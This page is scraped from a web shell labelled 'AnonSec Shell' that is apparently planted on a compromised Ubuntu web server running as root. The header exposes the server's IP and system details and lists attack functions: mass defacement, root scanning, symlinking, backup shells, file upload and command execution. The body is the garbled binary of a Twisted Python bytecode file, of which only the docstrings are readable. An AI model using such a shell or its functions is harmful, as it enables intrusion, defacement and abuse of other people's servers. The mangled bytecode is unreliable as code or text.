AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/twisted/internet/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/twisted/internet/__pycache__/_glibbase.cpython-310.pyc
o

�b�1�@s�dZddlZddlmZddlmZmZmZddlm	Z	ddl
mZgfdd�ZGd	d
�d
ej
�Zee	�Gdd�dejej��ZGd
d�dej�ZdS)aC
This module provides base support for Twisted to interact with the glib/gtk
mainloops.

The classes in this module should not be used directly, but rather you should
import gireactor or gtk3reactor for GObject Introspection based applications,
or glib2reactor or gtk2reactor for applications using legacy static bindings.
�N)�implementer)�base�	posixbase�
selectreactor)�
IReactorFDSet)�logcCs:|D]}tj�|�durt|��q|D]}dtj|<qdS)a[
    Check whether the given modules were imported, and if requested, ensure
    they will not be importable in the future.

    @param moduleNames: A list of module names we make sure aren't imported.
    @type moduleNames: C{list} of C{str}

    @param preventImports: A list of module name whose future imports should
        be prevented.
    @type preventImports: C{list} of C{str}

    @param errorMessage: Message to use when raising an C{ImportError}.
    @type errorMessage: C{str}

    @raise ImportError: with given error message if a given module name
        has already been imported.
    N)�sys�modules�get�ImportError)�moduleNames�errorMessage�preventImports�name�r�</usr/lib/python3/dist-packages/twisted/internet/_glibbase.py�ensureNotImporteds��rc@seZdZdZdd�ZdS)�	GlibWakerz/
    Run scheduled events after waking up.
    cCstj�|�|j��dS�N)r�
_UnixWaker�doRead�reactor�	_simulate��selfrrrr8szGlibWaker.doReadN)�__name__�
__module__�__qualname__�__doc__rrrrrr3src@s�eZdZdZeZd.dd�Zdd�Zdd�Zd	d
�Z	dd�Z
d
d�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd�Zd/dd�Zd d!�Zd"d#�Zd0d%d&�Zd'd(�Zd)d*�Zd+d,�Zd-S)1�GlibReactorBasea7
    Base class for GObject event loop reactors.

    Notification for I/O events (reads and writes on file descriptors) is done
    by the gobject-based event loop. File descriptors are registered with
    gobject with the appropriate flags for read/write/disconnect notification.

    Time-based events, the results of C{callLater} and C{callFromThread}, are
    handled differently. Rather than registering each event with gobject, a
    single gobject timeout is registered for the earliest scheduled event, the
    output of C{reactor.timeout()}. For example, if there are timeouts in 1, 2
    and 3.4 seconds, a single timeout is registered for 1 second in the
    future. When this timeout is hit, C{_simulate} is called, which calls the
    appropriate Twisted-level handlers, and a new timeout is added to gobject
    by the C{_reschedule} method.

    To handle C{callFromThread} events, we use a custom waker that calls
    C{_simulate} whenever it wakes up.

    @ivar _sources: A dictionary mapping L{FileDescriptor} instances to
        GSource handles.

    @ivar _reads: A set of L{FileDescriptor} instances currently monitored for
        reading.

    @ivar _writes: A set of L{FileDescriptor} instances currently monitored for
        writing.

    @ivar _simtag: A GSource handle for the next L{simulate} call.
    Fcs�d�_t��_t��_i�_|�_|�_tj�	���jj
�_�jj�_
�fdd�}|r@�jj�_�jj�_|�_�jj�_dS�j���_�jj�_�jj�_�j���_�fdd��_�jj�_dS)Nc��j��r�j��dSdSr��_gtk�
main_level�	main_quitrrrr�	_mainquitn�
�z+GlibReactorBase.__init__.<locals>._mainquitc��j��jj�Sr��_glib�idle_add�loop�quitrrrr�<lambda>|�z*GlibReactorBase.__init__.<locals>.<lambda>)�_simtag�set�_reads�_writes�_sourcesr)r"r�PosixReactorBase�__init__�
source_remove�_source_remove�timeout_add�_timeout_add�events_pending�_pending�main_iteration_do�
_iteration�_crash�main�_run�main_context_default�context�pending�	iteration�MainLoopr+�run�r�glib_module�
gtk_module�useGtkr%rrrr5bs*





zGlibReactorBase.__init__cCs"tj�|�|�dtjj|�dS)Nr)r�_SignalReactorMixin�_handleSignals�	callLaterrr4rrrrrLszGlibReactorBase._handleSignalscsBt�d�r��fdd�}���}n�}�}|jj||||jjd�S)N�filenocs
��|�Srr)�ignored�	condition��callback�sourcerr�wrapper�s
z*GlibReactorBase.input_add.<locals>.wrapper��priority)�hasattrrNr)�io_add_watch�PRIORITY_DEFAULT_IDLE)rrSrPrRrTrNrrQr�	input_add�s

�zGlibReactorBase.input_addcCst�||j|||�dS)z@
        Called by event loop when an I/O event occurs.
        T)r�callWithLogger�_doReadOrWrite)rrSrPrrr�_ioEventCallback�sz GlibReactorBase._ioEventCallbackcCsT||vrdS|}||vr|�|j|�||O}|�|||j�|j|<|�|�dS)a
        Add the given L{FileDescriptor} for monitoring either for reading or
        writing. If the file is already monitored for the other operation, we
        delete the previous registration and re-register it for both reading
        and writing.
        N)r7r3rZr]�add)rrS�primary�other�primaryFlag�	otherFlag�flagsrrr�_add�szGlibReactorBase._addcC�|�||j|j|j|j�dS)zS
        Add a L{FileDescriptor} for monitoring of data available to read.
        N)rdr1r2�INFLAGS�OUTFLAGS�r�readerrrr�	addReader��zGlibReactorBase.addReadercCre)zO
        Add a L{FileDescriptor} for monitoring ability to write data.
        N)rdr2r1rgrf�r�writerrrr�	addWriter�rkzGlibReactorBase.addWritercC�
t|j�S)zW
        Retrieve the list of current L{FileDescriptor} monitored for reading.
        )�listr1rrrr�
getReaders��
zGlibReactorBase.getReaderscCro)zW
        Retrieve the list of current L{FileDescriptor} monitored for writing.
        )rpr2rrrr�
getWriters�rrzGlibReactorBase.getWriterscCs|�|j|j�S)zJ
        Remove monitoring for all registered L{FileDescriptor}s.
        )�
_removeAllr1r2rrrr�	removeAll�szGlibReactorBase.removeAllcCsX||vrdS|�|j|�|�|�||vr$|�|||j�|j|<dS|j�|�dS)z�
        Remove monitoring the given L{FileDescriptor} for either reading or
        writing. If it's still monitored for the other operation, we
        re-register the L{FileDescriptor} for only that operation.
        N)r7r3�removerZr]�pop)rrSr_r`rcrrr�_remove�s
zGlibReactorBase._removecC�|�||j|j|j�dS)zJ
        Stop monitoring the given L{FileDescriptor} for reading.
        N)rxr1r2rgrhrrr�removeReader��zGlibReactorBase.removeReadercCry)zJ
        Stop monitoring the given L{FileDescriptor} for writing.
        N)rxr2r1rfrlrrr�removeWriter�r{zGlibReactorBase.removeWriterrcCs*|��|��r|�d�|��sdSdS)zv
        One iteration of the event loop, for trial's use.

        This is not used for actual reactor runs.
        rN)�runUntilCurrentr;r=)r�delayrrr�iterate�s
�zGlibReactorBase.iteratecC�tj�|�|��dS)z$
        Crash the reactor.
        N)rr4�crashr>rrrrr��szGlibReactorBase.crashcCr�)z#
        Stop the reactor.
        N)rr4�stop�wakeUprrrrr�szGlibReactorBase.stopTcCs.|�|j�|j|d�|jr|��dSdS)z"
        Run the reactor.
        ��installSignalHandlersN)�callWhenRunning�_reschedule�startRunning�_startedr@�rr�rrrrFs
�zGlibReactorBase.runcOs&tjj|g|�Ri|��}|��|S)z,
        Schedule a C{DelayedCall}.
        )rr4rMr�)r�args�kwargs�resultrrrrMszGlibReactorBase.callLatercCsT|jdur|�|j�d|_|��}|dur(|jt|d�|j|jjd�|_dSdS)z;
        Schedule a glib timeout for C{_simulate}.
        N��rU)r/r7�timeoutr9�intrr)rY�rr�rrrr�!s

��zGlibReactorBase._reschedulecCs|��|��dS)zX
        Run timers, and then reschedule glib timeout for next scheduled event.
        N)r}r�rrrrr0szGlibReactorBase._simulateN�F)r�T)rrrrr�
_wakerFactoryr5rLrZr]rdrjrnrqrsrurxrzr|rr�r�rFrMr�rrrrrr=s.!



	
rc@s4eZdZdZd
dd�Zdd�Zddd	�Zd
d�ZdS)�PortableGlibReactorBasez�
    Base class for GObject event loop reactors that works on Windows.

    Sockets aren't supported by GObject's input_add on Win32.
    Fcs~d�_|�_|�_tj����jj�_�jj�_	�fdd�}|r+|�_
�jj�_dS�j�
��_�fdd��_
�jj�_dS)Ncr rr!rrrrr%Hr&z3PortableGlibReactorBase.__init__.<locals>._mainquitcr'rr(rrrrr-Qr.z2PortableGlibReactorBase.__init__.<locals>.<lambda>)r/r)r"r�
SelectReactorr5r6r7r8r9r>r?r@rEr+rFrGrrrr5?s

z PortableGlibReactorBase.__init__cCstj�|�|��dSr)rr�r�r>rrrrr�TszPortableGlibReactorBase.crashTcCs0|j|d�|�d|j�|jr|��dSdS)Nr�r)r�r9�simulater�r@r�rrrrFXs
�zPortableGlibReactorBase.runcCs\|jdur|�|j�|��t|��d�}|durd}|jt|d�|j|jj	d�|_dS)z@
        Run simulation loops and reschedule callbacks.
        Ng{�G�z�?r�rU)
r/r7r�minr�r9r�r�r)rYr�rrrr�^s

�z PortableGlibReactorBase.simulateNr�r�)rrrrr5r�rFr�rrrrr�8s

r�)rr�zope.interfacer�twisted.internetrrr�twisted.internet.interfacesr�twisted.pythonrrrrr4�_PollLikeMixinrr�r�rrrr�<module>s

{

Anon7 - 2022
AnonSec Team